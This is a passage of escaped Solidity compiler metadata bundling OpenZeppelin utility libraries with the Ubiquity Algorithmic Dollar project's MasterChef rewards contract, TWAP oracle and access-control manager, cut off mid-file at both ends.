return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/MasterChef.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity 0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/ITWAPOracle.sol\\\";\\nimport \\\"./interfaces/IERC1155Ubiquity.sol\\\";\\nimport \\\"./interfaces/IUbiquityFormulas.sol\\\";\\n\\ncontract MasterChef {\\n using SafeERC20 for IERC20Ubiquity;\\n using SafeERC20 for IERC20;\\n // Info of each user.\\n struct UserInfo {\\n uint256 amount; // How many uAD-3CRV LP tokens the user has provided.\\n uint256 rewardDebt; // Reward debt. See explanation below.\\n //\\n // We do some fancy math here. Basically, any point in time, the amount of uGOVs\\n // entitled to a user but is pending to be distributed is:\\n //\\n // pending reward = (user.amount * pool.accuGOVPerShare) - user.rewardDebt\\n //\\n // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:\\n // 1. The pool's `accuGOVPerShare` (and `lastRewardBlock`) gets updated.\\n // 2. User receives the pending reward sent to his/her address.\\n // 3. User's `amount` gets updated.\\n // 4. User's `rewardDebt` gets updated.\\n }\\n // Info of each pool.\\n struct PoolInfo {\\n uint256 lastRewardBlock; // Last block number that uGOVs distribution occurs.\\n uint256 accuGOVPerShare; // Accumulated uGOVs per share, times 1e12. See below.\\n }\\n\\n // Ubiquity Manager\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // uGOV tokens created per block.\\n uint256 public uGOVPerBlock = 1e18;\\n // Bonus muliplier for early uGOV makers.\\n uint256 public uGOVmultiplier = 1e18;\\n uint256 public minPriceDiffToUpdateMultiplier = 1000000000000000;\\n uint256 public lastPrice = 1 ether;\\n // Info of each pool.\\n PoolInfo public pool;\\n // Info of each user that stakes LP tokens.\\n mapping(address => UserInfo) public userInfo;\\n\\n event Deposit(address indexed user, uint256 amount);\\n\\n event Withdraw(address indexed user, uint256 amount);\\n\\n // ----------- Modifiers -----------\\n modifier onlyTokenManager() {\\n require(\\n manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender),\\n \\\"MasterChef: not UBQ manager\\\"\\n );\\n _;\\n }\\n modifier onlyBondingContract() {\\n require(\\n msg.sender == manager.bondingContractAddress(),\\n \\\"MasterChef: not Bonding Contract\\\"\\n );\\n _;\\n }\\n\\n constructor(address _manager) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n pool.lastRewardBlock = block.number;\\n pool.accuGOVPerShare = 0; // uint256(1e12);\\n _updateUGOVMultiplier();\\n }\\n\\n function setUGOVPerBlock(uint256 _uGOVPerBlock) external onlyTokenManager {\\n uGOVPerBlock = _uGOVPerBlock;\\n }\\n\\n function setMinPriceDiffToUpdateMultiplier(\\n uint256 _minPriceDiffToUpdateMultiplier\\n ) external onlyTokenManager {\\n minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier;\\n }\\n\\n // Deposit LP tokens to MasterChef for uGOV allocation.\\n function deposit(uint256 _amount, address sender)\\n external\\n onlyBondingContract\\n {\\n UserInfo storage user = userInfo[sender];\\n _updatePool();\\n if (user.amount > 0) {\\n uint256 pending =\\n ((user.amount * pool.accuGOVPerShare) / 1e12) - user.rewardDebt;\\n _safeUGOVTransfer(sender, pending);\\n }\\n /* pool.lpToken.safeTransferFrom(\\n address(msg.sender),\\n address(this),\\n _amount\\n ); */\\n user.amount = user.amount + _amount;\\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\\n emit Deposit(sender, _amount);\\n }\\n\\n // Withdraw LP tokens from MasterChef.\\n function withdraw(uint256 _amount, address sender)\\n external\\n onlyBondingContract\\n {\\n UserInfo storage user = userInfo[sender];\\n require(user.amount >= _amount, \\\"MC: amount too high\\\");\\n _updatePool();\\n uint256 pending =\\n ((user.amount * pool.accuGOVPerShare) / 1e12) - user.rewardDebt;\\n _safeUGOVTransfer(sender, pending);\\n user.amount = user.amount - _amount;\\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\\n /* pool.lpToken.safeTransfer(msg.sender, _amount); */\\n emit Withdraw(sender, _amount);\\n }\\n\\n /// @dev get pending uGOV rewards from MasterChef.\\n /// @return amount of pending rewards transfered to msg.sender\\n /// @notice only send pending rewards\\n function getRewards() external returns (uint256) {\\n UserInfo storage user = userInfo[msg.sender];\\n _updatePool();\\n uint256 pending =\\n ((user.amount * pool.accuGOVPerShare) / 1e12) - user.rewardDebt;\\n _safeUGOVTransfer(msg.sender, pending);\\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\\n return pending;\\n }\\n\\n // View function to see pending uGOVs on frontend.\\n function pendingUGOV(address _user) external view returns (uint256) {\\n UserInfo storage user = userInfo[_user];\\n uint256 accuGOVPerShare = pool.accuGOVPerShare;\\n uint256 lpSupply =\\n IERC1155Ubiquity(manager.bondingShareAddress()).totalSupply();\\n\\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\\n uint256 multiplier = _getMultiplier();\\n\\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\\n accuGOVPerShare =\\n accuGOVPerShare +\\n ((uGOVReward * 1e12) / lpSupply);\\n }\\n\\n return (user.amount * accuGOVPerShare) / 1e12 - user.rewardDebt;\\n }\\n\\n // UPDATE uGOV multiplier\\n function _updateUGOVMultiplier() internal {\\n // (1.05/(1+abs(1-TWAP_PRICE)))\\n uint256 currentPrice = _getTwapPrice();\\n\\n bool isPriceDiffEnough = false;\\n // a minimum price variation is needed to update the multiplier\\n if (currentPrice > lastPrice) {\\n isPriceDiffEnough =\\n currentPrice - lastPrice > minPriceDiffToUpdateMultiplier;\\n } else {\\n isPriceDiffEnough =\\n lastPrice - currentPrice > minPriceDiffToUpdateMultiplier;\\n }\\n\\n if (isPriceDiffEnough) {\\n uGOVmultiplier = IUbiquityFormulas(manager.formulasAddress())\\n .ugovMultiply(uGOVmultiplier, currentPrice);\\n lastPrice = currentPrice;\\n }\\n }\\n\\n // Update reward variables of the given pool to be up-to-date.\\n function _updatePool() internal {\\n if (block.number <= pool.lastRewardBlock) {\\n return;\\n }\\n _updateUGOVMultiplier();\\n uint256 lpSupply =\\n IERC1155Ubiquity(manager.bondingShareAddress()).totalSupply();\\n /* IERC20(manager.stableSwapMetaPoolAddress()).balanceOf(\\n manager.bondingContractAddress()\\n ); */\\n\\n if (lpSupply == 0) {\\n pool.lastRewardBlock = block.number;\\n return;\\n }\\n uint256 multiplier = _getMultiplier();\\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\\n address(this),\\n uGOVReward\\n );\\n // mint another 20% for the treasury\\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\\n manager.treasuryAddress(),\\n uGOVReward / 5\\n );\\n pool.accuGOVPerShare =\\n pool.accuGOVPerShare +\\n ((uGOVReward * 1e12) / lpSupply);\\n pool.lastRewardBlock = block.number;\\n }\\n\\n // Safe uGOV transfer function, just in case if rounding\\n // error causes pool to not have enough uGOVs.\\n function _safeUGOVTransfer(address _to, uint256 _amount) internal {\\n IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress());\\n uint256 uGOVBal = uGOV.balanceOf(address(this));\\n if (_amount > uGOVBal) {\\n uGOV.safeTransfer(_to, uGOVBal);\\n } else {\\n uGOV.safeTransfer(_to, _amount);\\n }\\n }\\n\\n function _getMultiplier() internal view returns (uint256) {\\n return (block.number - pool.lastRewardBlock) * uGOVmultiplier;\\n }\\n\\n function _getTwapPrice() internal view returns (uint256) {\\n return\\n ITWAPOracle(manager.twapOracleAddress()).consult(\\n manager.dollarTokenAddress()\\n );\\n }\\n}\\n\",\"keccak256\":\"0xec4ae0cdb529a2915b301ab1ef3cefc3af955b1afc99fed158287a611577e400\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n 